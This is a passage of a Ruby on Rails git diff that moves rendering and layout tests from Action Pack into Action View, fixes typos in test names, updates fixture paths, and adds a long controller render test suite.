class Base < AbstractController::Base
include AbstractController::Rendering
- include AbstractController::Layouts
+ include ActionView::Rendering
+ include ActionView::Layouts
abstract!
@@ -213,19 +214,19 @@ module AbstractControllerTests
assert_equal "With String Hello string!", controller.response_body
end
- test "when layout is overwriten by :default in render, render default layout" do
+ test "when layout is overwritten by :default in render, render default layout" do
controller = WithString.new
controller.process(:overwrite_default)
assert_equal "With String Hello string!", controller.response_body
end
- test "when layout is overwriten by string in render, render new layout" do
+ test "when layout is overwritten by string in render, render new layout" do
controller = WithString.new
controller.process(:overwrite_string)
assert_equal "Overwrite Hello string!", controller.response_body
end
- test "when layout is overwriten by false in render, render no layout" do
+ test "when layout is overwritten by false in render, render no layout" do
controller = WithString.new
controller.process(:overwrite_false)
assert_equal "Hello string!", controller.response_body
@@ -263,7 +264,7 @@ module AbstractControllerTests
assert_equal "Overwrite Hello proc!", controller.response_body
end
- test "when layout is specified as a proc and the proc retuns nil, don't use a layout" do
+ test "when layout is specified as a proc and the proc returns nil, don't use a layout" do
controller = WithProcReturningNil.new
controller.process(:index)
assert_equal "Hello nil!", controller.response_body
diff --git a/actionpack/test/abstract/render_test.rb b/actionview/test/actionpack/abstract/render_test.rb
index b9293d1241..f9d8c916d9 100644
--- a/actionpack/test/abstract/render_test.rb
+++ b/actionview/test/actionpack/abstract/render_test.rb
@@ -5,6 +5,7 @@ module AbstractController
class ControllerRenderer < AbstractController::Base
include AbstractController::Rendering
+ include ActionView::Rendering
def _prefixes
%w[renderer]
diff --git a/actionpack/test/abstract/views/abstract_controller/testing/me3/formatted.html.erb b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/formatted.html.erb
index 785bf69191..785bf69191 100644
--- a/actionpack/test/abstract/views/abstract_controller/testing/me3/formatted.html.erb
+++ b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/formatted.html.erb
diff --git a/actionpack/test/abstract/views/abstract_controller/testing/me3/index.erb b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/index.erb
index f079ad8204..f079ad8204 100644
--- a/actionpack/test/abstract/views/abstract_controller/testing/me3/index.erb
+++ b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/index.erb
diff --git a/actionpack/test/abstract/views/abstract_controller/testing/me4/index.erb b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me4/index.erb
index 89dce12bdc..89dce12bdc 100644
--- a/actionpack/test/abstract/views/abstract_controller/testing/me4/index.erb
+++ b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me4/index.erb
diff --git a/actionpack/test/abstract/views/abstract_controller/testing/me5/index.erb b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me5/index.erb
index 84d0b7417e..84d0b7417e 100644
--- a/actionpack/test/abstract/views/abstract_controller/testing/me5/index.erb
+++ b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me5/index.erb
diff --git a/actionpack/test/abstract/views/action_with_ivars.erb b/actionview/test/actionpack/abstract/views/action_with_ivars.erb
index 8d8ae22fd7..8d8ae22fd7 100644
--- a/actionpack/test/abstract/views/action_with_ivars.erb
+++ b/actionview/test/actionpack/abstract/views/action_with_ivars.erb
diff --git a/actionpack/test/abstract/views/helper_test.erb b/actionview/test/actionpack/abstract/views/helper_test.erb
index 8ae45cc195..8ae45cc195 100644
--- a/actionpack/test/abstract/views/helper_test.erb
+++ b/actionview/test/actionpack/abstract/views/helper_test.erb
diff --git a/actionpack/test/abstract/views/index.erb b/actionview/test/actionpack/abstract/views/index.erb
index cc1a8b8c85..cc1a8b8c85 100644
--- a/actionpack/test/abstract/views/index.erb
+++ b/actionview/test/actionpack/abstract/views/index.erb
diff --git a/actionpack/test/abstract/views/layouts/abstract_controller/testing/me4.erb b/actionview/test/actionpack/abstract/views/layouts/abstract_controller/testing/me4.erb
index 172dd56569..172dd56569 100644
--- a/actionpack/test/abstract/views/layouts/abstract_controller/testing/me4.erb
+++ b/actionview/test/actionpack/abstract/views/layouts/abstract_controller/testing/me4.erb
diff --git a/actionpack/test/abstract/views/layouts/application.erb b/actionview/test/actionpack/abstract/views/layouts/application.erb
index 27317140ad..27317140ad 100644
--- a/actionpack/test/abstract/views/layouts/application.erb
+++ b/actionview/test/actionpack/abstract/views/layouts/application.erb
diff --git a/actionpack/test/abstract/views/naked_render.erb b/actionview/test/actionpack/abstract/views/naked_render.erb
index 1b3d03878b..1b3d03878b 100644
--- a/actionpack/test/abstract/views/naked_render.erb
+++ b/actionview/test/actionpack/abstract/views/naked_render.erb
diff --git a/actionpack/test/controller/capture_test.rb b/actionview/test/actionpack/controller/capture_test.rb
index 72263156d9..f8387b27b0 100644
--- a/actionpack/test/controller/capture_test.rb
+++ b/actionview/test/actionpack/controller/capture_test.rb
@@ -2,6 +2,8 @@ require 'abstract_unit'
require 'active_support/logger'
class CaptureController < ActionController::Base
+ self.view_paths = [ File.dirname(__FILE__) + '/../../fixtures/actionpack' ]
+
def self.controller_name; "test"; end
def self.controller_path; "test"; end
diff --git a/actionpack/test/controller/layout_test.rb b/actionview/test/actionpack/controller/layout_test.rb
index 34304cf640..b44f57a23e 100644
--- a/actionpack/test/controller/layout_test.rb
+++ b/actionview/test/actionpack/controller/layout_test.rb
@@ -9,7 +9,7 @@ old_load_paths = ActionController::Base.view_paths
ActionView::Template::register_template_handler :mab,
lambda { |template| template.source.inspect }
-ActionController::Base.view_paths = [ File.dirname(__FILE__) + '/../fixtures/layout_tests/' ]
+ActionController::Base.view_paths = [ File.dirname(__FILE__) + '/../../fixtures/actionpack/layout_tests/' ]
class LayoutTest < ActionController::Base
def self.controller_path; 'views' end
@@ -87,7 +87,7 @@ class StreamingLayoutController < LayoutTest
end
class AbsolutePathLayoutController < LayoutTest
- layout File.expand_path(File.expand_path(__FILE__) + '/../../fixtures/layout_tests/layouts/layout_test')
+ layout File.expand_path(File.expand_path(__FILE__) + '/../../../fixtures/actionpack/layout_tests/layouts/layout_test')
end
class HasOwnLayoutController < LayoutTest
@@ -108,7 +108,7 @@ end
class PrependsViewPathController < LayoutTest
def hello
- prepend_view_path File.dirname(__FILE__) + '/../fixtures/layout_tests/alt/'
+ prepend_view_path File.dirname(__FILE__) + '/../../fixtures/actionpack/layout_tests/alt/'
render :layout => 'alt'
end
end
@@ -215,12 +215,6 @@ class LayoutSetInResponseTest < ActionController::TestCase
end
end
-class RenderWithTemplateOptionController < LayoutTest
- def hello
- render :template => 'alt/hello'
- end
-end
-
class SetsNonExistentLayoutFile < LayoutTest
layout "nofile"
end
diff --git a/actionview/test/actionpack/controller/render_test.rb b/actionview/test/actionpack/controller/render_test.rb
new file mode 100644
index 0000000000..45b8049b83
--- /dev/null
+++ b/actionview/test/actionpack/controller/render_test.rb
@@ -0,0 +1,1335 @@
+require 'abstract_unit'
+require "active_model"
+
+class ApplicationController < ActionController::Base
+ self.view_paths = File.join(FIXTURE_LOAD_PATH, "actionpack")
+end
+
+class Customer < Struct.new(:name, :id)
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ undef_method :to_json
+
+ def to_xml(options={})
+ if options[:builder]
+ options[:builder].name name
+ else
+ "<name>#{name}</name>"
+ end
+ end
+
+ def to_js(options={})
+ "name: #{name.inspect}"
+ end
+ alias :to_text :to_js
+
+ def errors
+ []
+ end
+
+ def persisted?
+ id.present?
+ end
+end
+
+module Quiz
+ #Models
+ class Question < Struct.new(:name, :id)
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ def persisted?
+ id.present?
+ end
+ end
+
+ # Controller
+ class QuestionsController < ApplicationController
+ def new
+ render :partial => Quiz::Question.new("Namespaced Partial")
+ end
+ end
+end
+
+class BadCustomer < Customer; end
+class GoodCustomer < Customer; end
+
+module Fun
+ class GamesController < ApplicationController
+ def hello_world; end
+
+ def nested_partial_with_form_builder
+ render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
+ end
+ end
+end
+
+class TestController < ApplicationController
+ protect_from_forgery
+
+ before_action :set_variable_for_layout
+
+ class LabellingFormBuilder < ActionView::Helpers::FormBuilder
+ end
+
+ layout :determine_layout
+
+ def name
+ nil
+ end
+
+ private :name
+ helper_method :name
+
+ def hello_world
+ end
+
+ def hello_world_file
+ render :file => File.expand_path("../../../fixtures/actionpack/hello", __FILE__), :formats => [:html]
+ end
+
+ # :ported:
+ def render_hello_world
+ render :template => "test/hello_world"
+ end
+
+ def render_hello_world_with_last_modified_set
+ response.last_modified = Date.new(2008, 10, 10).to_time
+ render :template => "test/hello_world"
+ end
+
+ # :ported: compatibility
+ def render_hello_world_with_forward_slash
+ render :template => "/test/hello_world"
+ end
+
+ # :ported:
+ def render_template_in_top_directory
+ render :template => 'shared'
+ end
+
+ # :deprecated:
+ def render_template_in_top_directory_with_slash
+ render :template => '/shared'
+ end
+
+ # :ported:
+ def render_hello_world_from_variable
+ @person = "david"
+ render :text => "hello #{@person}"
+ end
+
+ # :ported:
+ def render_action_hello_world
+ render :action => "hello_world"
+ end
+
+ def render_action_upcased_hello_world
+ render :action => "Hello_world"
+ end
+
+ def render_action_hello_world_as_string
+ render "hello_world"
+ end
+
+ def render_action_hello_world_with_symbol
+ render :action => :hello_world
+ end
+
+ # :ported:
+ def render_text_hello_world
+ render :text => "hello world"
+ end
+
+ # :ported:
+ def render_text_hello_world_with_layout
+ @variable_for_layout = ", I am here!"
+ render :text => "hello world", :layout => true
+ end
+
+ def hello_world_with_layout_false
+ render :layout => false
+ end
+
+ # :ported:
+ def render_file_with_instance_variables
+ @secret = 'in the sauce'
+ path = File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar')
+ render :file => path
+ end
+
+ # :ported:
+ def render_file_as_string_with_instance_variables
+ @secret = 'in the sauce'
+ path = File.expand_path(File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar'))
+ render path
+ end
+
+ # :ported:
+ def render_file_not_using_full_path
+ @secret = 'in the sauce'
+ render :file => 'test/render_file_with_ivar'
+ end
+
+ def render_file_not_using_full_path_with_dot_in_path
+ @secret = 'in the sauce'
+ render :file => 'test/dot.directory/render_file_with_ivar'
+ end
+
+ def render_file_using_pathname
+ @secret = 'in the sauce'
+ render :file => Pathname.new(File.dirname(__FILE__)).join('..', '..', 'fixtures', 'test', 'dot.directory', 'render_file_with_ivar')
+ end
+
+ def render_file_from_template
+ @secret = 'in the sauce'
+ @path = File.expand_path(File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar'))
+ end
+
+ def render_file_with_locals
+ path = File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_locals')
+ render :file => path, :locals => {:secret => 'in the sauce'}
+ end
+
+ def render_file_as_string_with_locals
+ path = File.expand_path(File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_locals'))
+ render path, :locals => {:secret => 'in the sauce'}
+ end
+
+ def accessing_request_in_template
+ render :inline => "Hello: <%= request.host %>"
+ end
+
+ def accessing_logger_in_template
+ render :inline => "<%= logger.class %>"
+ end
+
+ def accessing_action_name_in_template
+ render :inline => "<%= action_name %>"
+ end
+
+ def accessing_controller_name_in_template
+ render :inline => "<%= controller_name %>"
+ end
+
+ # :ported:
+ def render_custom_code
+ render :text => "hello world", :status => 404
+ end
+
+ # :ported:
+ def render_text_with_nil
+ render :text => nil
+ end
+
+ # :ported:
+ def render_text_with_false
+ render :text => false
+ end
+
+ def render_text_with_resource
+ render :text => Customer.new("David")
+ end
+
+ # :ported:
+ def render_nothing_with_appendix
+ render :text => "appended"
+ end
+
+ # This test is testing 3 things:
+ # render :file in AV :ported:
+ # render :template in AC :ported:
+ # setting content type
+ def render_xml_hello
+ @name = "David"
+ render :template => "test/hello"
+ end
+
+ def render_xml_hello_as_string_template
+ @name = "David"
+ render "test/hello"
+ end
+
+ def render_line_offset
+ render :inline => '<% raise %>', :locals => {:foo => 'bar'}
+ end
+
+ def heading
+ head :ok
+ end
+
+ def greeting
+ # let's just rely on the template
+ end
+
+ # :ported:
+ def blank_response
+ render :text => ' '
+ end
+
+ # :ported:
+ def layout_test
+ render :action => "hello_world"
+ end
+
+ # :ported:
+ def builder_layout_test
+ @name = nil
+ render :action => "hello", :layout => "layouts/builder"
+ end
+
+ # :move: test this in Action View
+ def builder_partial_test
+ render :action => "hello_world_container"
+ end
+
+ # :ported:
+ def partials_list
+ @test_unchanged = 'hello'
+ @customers = [ Customer.new("david"), Customer.new("mary") ]
+ render :action => "list"
+ end
+
+ def partial_only
+ render :partial => true
+ end
+
+ def hello_in_a_string
+ @customers = [ Customer.new("david"), Customer.new("mary") ]
+ render :text => "How's there? " + render_to_string(:template => "test/list")
+ end
+
+ def accessing_params_in_template
+ render :inline => "Hello: <%= params[:name] %>"
+ end
+
+ def accessing_local_assigns_in_inline_template
+ name = params[:local_name]
+ render :inline => "<%= 'Goodbye, ' + local_name %>",
+ :locals => { :local_name => name }
+ end
+
+ def render_implicit_html_template_from_xhr_request
+ end
+
+ def render_implicit_js_template_without_layout
+ end
+
+ def formatted_html_erb
+ end
+
+ def formatted_xml_erb
+ end
+
+ def render_to_string_test
+ @foo = render_to_string :inline => "this is a test"
+ end
+
+ def default_render
+ @alternate_default_render ||= nil
+ if @alternate_default_render
+ @alternate_default_render.call
+ else
+ super
+ end
+ end
+
+ def render_action_hello_world_as_symbol
+ render :action => :hello_world
+ end
+
+ def layout_test_with_different_layout
+ render :action => "hello_world", :layout => "standard"
+ end
+
+ def layout_test_with_different_layout_and_string_action
+ render "hello_world", :layout => "standard"
+ end
+
+ def layout_test_with_different_layout_and_symbol_action
+ render :hello_world, :layout => "standard"
+ end
+
+ def rendering_without_layout
+ render :action => "hello_world", :layout => false
+ end
+
+ def layout_overriding_layout
+ render :action => "hello_world", :layout => "standard"
+ end
+
+ def rendering_nothing_on_layout
+ render :nothing => true
+ end
+
+ def render_to_string_with_assigns
+ @before = "i'm before the render"
+ render_to_string :text => "foo"
+ @after = "i'm after the render"
+ render :template => "test/hello_world"
+ end
+
+ def render_to_string_with_exception
+ render_to_string :file => "exception that will not be caught - this will certainly not work"
+ end
+
+ def render_to_string_with_caught_exception
+ @before = "i'm before the render"
+ begin
+ render_to_string :file => "exception that will be caught- hope my future instance vars still work!"
+ rescue
+ end
+ @after = "i'm after the render"
+ render :template => "test/hello_world"
+ end
+
+ def accessing_params_in_template_with_layout
+ render :layout => true, :inline => "Hello: <%= params[:name] %>"
+ end
+
+ # :ported:
+ def render_with_explicit_template
+ render :template => "test/hello_world"
+ end
+
+ def render_with_explicit_unescaped_template
+ render :template => "test/h*llo_world"
+ end
+
+ def render_with_explicit_escaped_template
+ render :template => "test/hello,world"
+ end
+
+ def render_with_explicit_string_template
+ render "test/hello_world"
+ end
+
+ # :ported:
+ def render_with_explicit_template_with_locals
+ render :template => "test/render_file_with_locals", :locals => { :secret => 'area51' }
+ end
+
+ # :ported:
+ def double_render
+ render :text => "hello"
+ render :text => "world"
+ end
+
+ def double_redirect
+ redirect_to :action => "double_render"
+ redirect_to :action => "double_render"
+ end
+
+ def render_and_redirect
+ render :text => "hello"
+ redirect_to :action => "double_render"
+ end
+
+ def render_to_string_and_render
+ @stuff = render_to_string :text => "here is some cached stuff"
+ render :text => "Hi web users! #{@stuff}"
+ end
+
+ def render_to_string_with_inline_and_render
+ render_to_string :inline => "<%= 'dlrow olleh'.reverse %>"
+ render :template => "test/hello_world"
+ end
+
+ def rendering_with_conflicting_local_vars
+ @name = "David"
+ render :action => "potential_conflicts"
+ end
+
+ def hello_world_from_rxml_using_action
+ render :action => "hello_world_from_rxml", :handlers => [:builder]
+ end
+
+ # :deprecated:
+ def hello_world_from_rxml_using_template
+ render :template => "test/hello_world_from_rxml", :handlers => [:builder]
+ end
+
+ def action_talk_to_layout
+ # Action template sets variable that's picked up by layout
+ end
+
+ # :addressed:
+ def render_text_with_assigns
+ @hello = "world"
+ render :text => "foo"
+ end
+
+ def yield_content_for
+ render :action => "content_for", :layout => "yield"
+ end
+
+ def render_content_type_from_body
+ response.content_type = Mime::RSS
+ render :text => "hello world!"
+ end
+
+ def render_using_layout_around_block
+ render :action => "using_layout_around_block"
+ end
+
+ def render_using_layout_around_block_in_main_layout_and_within_content_for_layout
+ render :action => "using_layout_around_block", :layout => "layouts/block_with_layout"
+ end
+
+ def partial_formats_html
+ render :partial => 'partial', :formats => [:html]
+ end
+
+ def partial
+ render :partial => 'partial'
+ end
+
+ def partial_html_erb
+ render :partial => 'partial_html_erb'
+ end
+
+ def render_to_string_with_partial
+ @partial_only = render_to_string :partial => "partial_only"
+ @partial_with_locals = render_to_string :partial => "customer", :locals => { :customer => Customer.new("david") }
+ render :template => "test/hello_world"
+ end
+
+ def render_to_string_with_template_and_html_partial
+ @text = render_to_string :template => "test/with_partial", :formats => [:text]
+ @html = render_to_string :template => "test/with_partial", :formats => [:html]
+ render :template => "test/with_html_partial"
+ end
+
+ def render_to_string_and_render_with_different_formats
+ @html = render_to_string :template => "test/with_partial", :formats => [:html]
+ render :template => "test/with_partial", :formats => [:text]
+ end
+
+ def render_template_within_a_template_with_other_format
+ render :template => "test/with_xml_template",
+ :formats => [:html],
+ :layout => "with_html_partial"
+ end
+
+ def partial_with_counter
+ render :partial => "counter", :locals => { :counter_counter => 5 }
+ end
+
+ def partial_with_locals
+ render :partial => "customer", :locals => { :customer => Customer.new("david") }
+ end
+
+ def partial_with_form_builder
+ render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
+ end
+
+ def partial_with_form_builder_subclass
+ render :partial => LabellingFormBuilder.new(:post, nil, view_context, {})
+ end
+
+ def partial_collection
+ render :partial => "customer", :collection => [ Customer.new("david"), Customer.new("mary") ]
+ end
+
+ def partial_collection_with_as
+ render :partial => "customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer
+ end
+
+ def partial_collection_with_counter
+ render :partial => "customer_counter", :collection => [ Customer.new("david"), Customer.new("mary") ]
+ end
+
+ def partial_collection_with_as_and_counter
+ render :partial => "customer_counter_with_as", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :client
+ end
+
+ def partial_collection_with_locals
+ render :partial => "customer_greeting", :collection => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
+ end
+
+ def partial_collection_with_spacer
+ render :partial => "customer", :spacer_template => "partial_only", :collection => [ Customer.new("david"), Customer.new("mary") ]
+ end
+
+ def partial_collection_with_spacer_which_uses_render
+ render :partial => "customer", :spacer_template => "partial_with_partial", :collection => [ Customer.new("david"), Customer.new("mary") ]
+ end
+
+ def partial_collection_shorthand_with_locals
+ render :partial => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
+ end
+
+ def partial_collection_shorthand_with_different_types_of_records
+ render :partial => [
+ BadCustomer.new("mark"),
+ GoodCustomer.new("craig"),
+ BadCustomer.new("john"),
+ GoodCustomer.new("zach"),
+ GoodCustomer.new("brandon"),
+ BadCustomer.new("dan") ],
+ :locals => { :greeting => "Bonjour" }
+ end
+
+ def empty_partial_collection
+ render :partial => "customer", :collection => []
+ end
+
+ def partial_collection_shorthand_with_different_types_of_records_with_counter
+ partial_collection_shorthand_with_different_types_of_records
+ end
+
+ def missing_partial
+ render :partial => 'thisFileIsntHere'
+ end
+
+ def partial_with_hash_object
+ render :partial => "hash_object", :object => {:first_name => "Sam"}
+ end
+
+ def partial_with_nested_object
+ render :partial => "quiz/questions/question", :object => Quiz::Question.new("first")
+ end
+
+ def partial_with_nested_object_shorthand
+ render Quiz::Question.new("first")
+ end
+
+ def partial_hash_collection
+ render :partial => "hash_object", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ]
+ end
+
+ def partial_hash_collection_with_locals
+ render :partial => "hash_greeting", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ], :locals => { :greeting => "Hola" }
+ end
+
+ def partial_with_implicit_local_assignment
+ @customer = Customer.new("Marcel")
+ render :partial => "customer"
+ end
+
+ def render_call_to_partial_with_layout
+ render :action => "calling_partial_with_layout"
+ end
+
+ def render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+ render :action => "calling_partial_with_layout", :layout => "layouts/partial_with_layout"
+ end
+
+ before_action only: :render_with_filters do
+ request.format = :xml
+ end
+
+ # Ensure that the before filter is executed *before* self.formats is set.
+ def render_with_filters
+ render :action => :formatted_xml_erb
+ end
+
+ private
+
+ def set_variable_for_layout
+ @variable_for_layout = nil
+ end
+
+ def determine_layout
+ case action_name
+ when "hello_world", "layout_test", "rendering_without_layout",
+ "rendering_nothing_on_layout", "render_text_hello_world",
+ "render_text_hello_world_with_layout",
+ "hello_world_with_layout_false",
+ "partial_only", "accessing_params_in_template",
+ "accessing_params_in_template_with_layout",
+ "render_with_explicit_template",
+ "render_with_explicit_string_template",
+ "update_page", "update_page_with_instance_variables"
+
+ "layouts/standard"
+ when "action_talk_to_layout", "layout_overriding_layout"
+ "layouts/talk_from_action"
+ when "render_implicit_html_template_from_xhr_request"
+ (request.xhr? ? 'layouts/xhr' : 'layouts/standard')
+ end
+ end
+end
+
+class RenderTest < ActionController::TestCase
+ tests TestController
+
+ def setup
+ # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+ # a more accurate simulation of what happens in "real life".
+ super
+ @controller.logger = ActiveSupport::Logger.new(nil)
+ ActionView::Base.logger = ActiveSupport::Logger.new(nil)
+
+ @request.host = "www.nextangle.com"
+ end
+
+ def teardown
+ ActionView::Base.logger = nil
+ end
+
+ # :ported:
+ def test_simple_show
+ get :hello_world
+ assert_response 200
+ assert_response :success
+ assert_template "test/hello_world"
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ # :ported:
+ def test_renders_default_template_for_missing_action
+ get :'hyphen-ated'
+ assert_template 'test/hyphen-ated'
+ end
+
+ # :ported:
+ def test_render
+ get :render_hello_world
+ assert_template "test/hello_world"
+ end
+
+ def test_line_offset
+ exc = assert_raises ActionView::Template::Error do
+ get :render_line_offset
+ end
+ line = exc.backtrace.first
+ assert(line =~ %r{:(\d+):})
+ assert_equal "1", $1,
+ "The line offset is wrong, perhaps the wrong exception has been raised, exception was: #{exc.inspect}"
+ end
+
+ # :ported: compatibility
+ def test_render_with_forward_slash
+ get :render_hello_world_with_forward_slash
+ assert_template "test/hello_world"
+ end
+
+ # :ported:
+ def test_render_in_top_directory
+ get :render_template_in_top_directory
+ assert_template "shared"
+ assert_equal "Elastica", @response.body
+ end
+
+ # :ported:
+ def test_render_in_top_directory_with_slash
+ get :render_template_in_top_directory_with_slash
+ assert_template "shared"
+ assert_equal "Elastica", @response.body
+ end
+
+ # :ported:
+ def test_render_from_variable
+ get :render_hello_world_from_variable
+ assert_equal "hello david", @response.body
+ end
+
+ # :ported:
+ def test_render_action
+ get :render_action_hello_world
+ assert_template "test/hello_world"
+ end
+
+ def test_render_action_upcased
+ assert_raise ActionView::MissingTemplate do
+ get :render_action_upcased_hello_world
+ end
+ end
+
+ # :ported:
+ def test_render_action_hello_world_as_string
+ get :render_action_hello_world_as_string
+ assert_equal "Hello world!", @response.body
+ assert_template "test/hello_world"
+ end
+
+ # :ported:
+ def test_render_action_with_symbol
+ get :render_action_hello_world_with_symbol
+ assert_template "test/hello_world"
+ end
+
+ # :ported:
+ def test_render_text
+ get :render_text_hello_world
+ assert_equal "hello world", @response.body
+ end
+
+ # :ported:
+ def test_do_with_render_text_and_layout
+ get :render_text_hello_world_with_layout
+ assert_equal "<html>hello world, I am here!</html>", @response.body
+ end
+
+ # :ported:
+ def test_do_with_render_action_and_layout_false
+ get :hello_world_with_layout_false
+ assert_equal 'Hello world!', @response.body
+ end
+
+ # :ported:
+ def test_render_file_with_instance_variables
+ get :render_file_with_instance_variables
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ def test_render_file
+ get :hello_world_file
+ assert_equal "Hello world!", @response.body
+ end
+
+ # :ported:
+ def test_render_file_as_string_with_instance_variables
+ get :render_file_as_string_with_instance_variables
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :ported:
+ def test_render_file_not_using_full_path
+ get :render_file_not_using_full_path
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :ported:
+ def test_render_file_not_using_full_path_with_dot_in_path
+ get :render_file_not_using_full_path_with_dot_in_path
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :ported:
+ def test_render_file_using_pathname
+ get :render_file_using_pathname
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :ported:
+ def test_render_file_with_locals
+ get :render_file_with_locals
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :ported:
+ def test_render_file_as_string_with_locals
+ get :render_file_as_string_with_locals
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :assessed:
+ def test_render_file_from_template
+ get :render_file_from_template
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :ported:
+ def test_render_custom_code
+ get :render_custom_code
+ assert_response 404
+ assert_response :missing
+ assert_equal 'hello world', @response.body
+ end
+
+ # :ported:
+ def test_render_text_with_nil
+ get :render_text_with_nil
+ assert_response 200
+ assert_equal ' ', @response.body
+ end
+
+ # :ported:
+ def test_render_text_with_false
+ get :render_text_with_false
+ assert_equal 'false', @response.body
+ end
+
+ # :ported:
+ def test_render_nothing_with_appendix
+ get :render_nothing_with_appendix
+ assert_response 200
+ assert_equal 'appended', @response.body
+ end
+
+ def test_render_text_with_resource
+ get :render_text_with_resource
+ assert_equal 'name: "David"', @response.body
+ end
+
+ # :ported:
+ def test_attempt_to_access_object_method
+ assert_raise(AbstractController::ActionNotFound, "No action responded to [clone]") { get :clone }
+ end
+
+ # :ported:
+ def test_private_methods
+ assert_raise(AbstractController::ActionNotFound, "No action responded to [determine_layout]") { get :determine_layout }
+ end
+
+ # :ported:
+ def test_access_to_request_in_view
+ get :accessing_request_in_template
+ assert_equal "Hello: www.nextangle.com", @response.body
+ end
+
+ def test_access_to_logger_in_view
+ get :accessing_logger_in_template
+ assert_equal "ActiveSupport::Logger", @response.body
+ end
+
+ # :ported:
+ def test_access_to_action_name_in_view
+ get :accessing_action_name_in_template
+ assert_equal "accessing_action_name_in_template", @response.body
+ end
+
+ # :ported:
+ def test_access_to_controller_name_in_view
+ get :accessing_controller_name_in_template
+ assert_equal "test", @response.body # name is explicitly set in the controller.
+ end
+
+ # :ported:
+ def test_render_xml
+ get :render_xml_hello
+ assert_equal "<html>\n <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
+ assert_equal "application/xml", @response.content_type
+ end
+
+ # :ported:
+ def test_render_xml_as_string_template
+ get :render_xml_hello_as_string_template
+ assert_equal "<html>\n <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
+ assert_equal "application/xml", @response.content_type
+ end
+
+ # :ported:
+ def test_render_xml_with_default
+ get :greeting
+ assert_equal "<p>This is grand!</p>\n", @response.body
+ end
+
+ # :move: test in AV
+ def test_render_xml_with_partial
+ get :builder_partial_test
+ assert_equal "<test>\n <hello/>\n</test>\n", @response.body
+ end
+
+ # :ported:
+ def test_layout_rendering
+ get :layout_test
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ def test_render_xml_with_layouts
+ get :builder_layout_test
+ assert_equal "<wrapper>\n<html>\n <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n", @response.body
+ end
+
+ def test_partials_list
+ get :partials_list
+ assert_equal "goodbyeHello: davidHello: marygoodbye\n", @response.body
+ end
+
+ def test_render_to_string
+ get :hello_in_a_string
+ assert_equal "How's there? goodbyeHello: davidHello: marygoodbye\n", @response.body
+ end
+
+ def test_render_to_string_resets_assigns
+ get :render_to_string_test
+ assert_equal "The value of foo is: ::this is a test::\n", @response.body
+ end
+
+ def test_render_to_string_inline
+ get :render_to_string_with_inline_and_render
+ assert_template "test/hello_world"
+ end
+
+ # :ported:
+ def test_nested_rendering
+ @controller = Fun::GamesController.new
+ get :hello_world
+ assert_equal "Living in a nested world", @response.body
+ end
+
+ def test_accessing_params_in_template
+ get :accessing_params_in_template, :name => "David"
+ assert_equal "Hello: David", @response.body
+ end
+
+ def test_accessing_local_assigns_in_inline_template
+ get :accessing_local_assigns_in_inline_template, :local_name => "Local David"
+ assert_equal "Goodbye, Local David", @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_should_implicitly_render_html_template_from_xhr_request
+ xhr :get, :render_implicit_html_template_from_xhr_request
+ assert_equal "XHR!\nHello HTML!", @response.body
+ end
+
+ def test_should_implicitly_render_js_template_without_layout
+ xhr :get, :render_implicit_js_template_without_layout, :format => :js
+ assert_no_match %r{<html>}, @response.body
+ end
+
+ def test_should_render_formatted_template
+ get :formatted_html_erb
+ assert_equal 'formatted html erb', @response.body
+ end
+
+ def test_should_render_formatted_html_erb_template
+ get :formatted_xml_erb
+ assert_equal '<test>passed formatted html erb</test>', @response.body
+ end
+
+ def test_should_render_formatted_html_erb_template_with_bad_accepts_header
+ @request.env["HTTP_ACCEPT"] = "; a=dsf"
+ get :formatted_xml_erb
+ assert_equal '<test>passed formatted html erb</test>', @response.body
+ end
+
+ def test_should_render_formatted_html_erb_template_with_faulty_accepts_header
+ @request.accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*"
+ get :formatted_xml_erb
+ assert_equal '<test>passed formatted html erb</test>', @response.body
+ end
+
+ def test_layout_test_with_different_layout
+ get :layout_test_with_different_layout
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ def test_layout_test_with_different_layout_and_string_action
+ get :layout_test_with_different_layout_and_string_action
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ def test_layout_test_with_different_layout_and_symbol_action
+ get :layout_test_with_different_layout_and_symbol_action
